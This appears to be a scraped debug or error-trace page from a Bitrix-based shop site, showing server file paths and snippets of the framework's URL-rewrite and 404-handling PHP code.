"FILTER_PROPERTY_CODE" => array(
0 => "",
1 => "WF_SALE",
2 => "WF_NOTE",
3 => "attr_deliveryprice_tk_other",
4 => "attr_manufacturer_warranty",
Arguments
"/var/www/www-root/data/www/vannstudio.ru/bitrix/header.php"
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/include
/urlrewrite.php
if (($urlTmp7 == "upload/" || ($urlTmp7 == "bitrix/" && mb_substr($urlTmp, 0, 16) != "bitrix/services/" && mb_substr($urlTmp, 0, 18) != "bitrix/groupdavphp")))
continue;
$ext = strtolower(GetFileExtension($url));
if ($ext != "php")
continue;
// D7 response is not available here
if(stristr(php_sapi_name(), "cgi") !== false && (!defined("BX_HTTP_STATUS") || BX_HTTP_STATUS == false))
{
header("Status: 200 OK");
}
else
{
header($_SERVER["SERVER_PROTOCOL"]." 200 OK");
}
$_SERVER["REAL_FILE_PATH"] = $url;
include_once($io->GetPhysicalName($_SERVER['DOCUMENT_ROOT'].$url));
die();
}
}
}
//admin section 404
if(mb_strpos($requestUri, "/bitrix/admin/") === 0)
{
$_SERVER["REAL_FILE_PATH"] = "/bitrix/admin/404.php";
include($_SERVER["DOCUMENT_ROOT"]."/bitrix/admin/404.php");
die();
}
define("BX_CHECK_SHORT_URI", true);
Arguments
"/var/www/www-root/data/www/vannstudio.ru/catalog/index.php"
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/urlrewrite.php
<?
include_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/urlrewrite.php');
if(file_exists($_SERVER['DOCUMENT_ROOT'].'/404.php'))
include_once($_SERVER['DOCUMENT_ROOT'].'/404.php');
?>
Arguments
"/var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include/urlrewrite.php"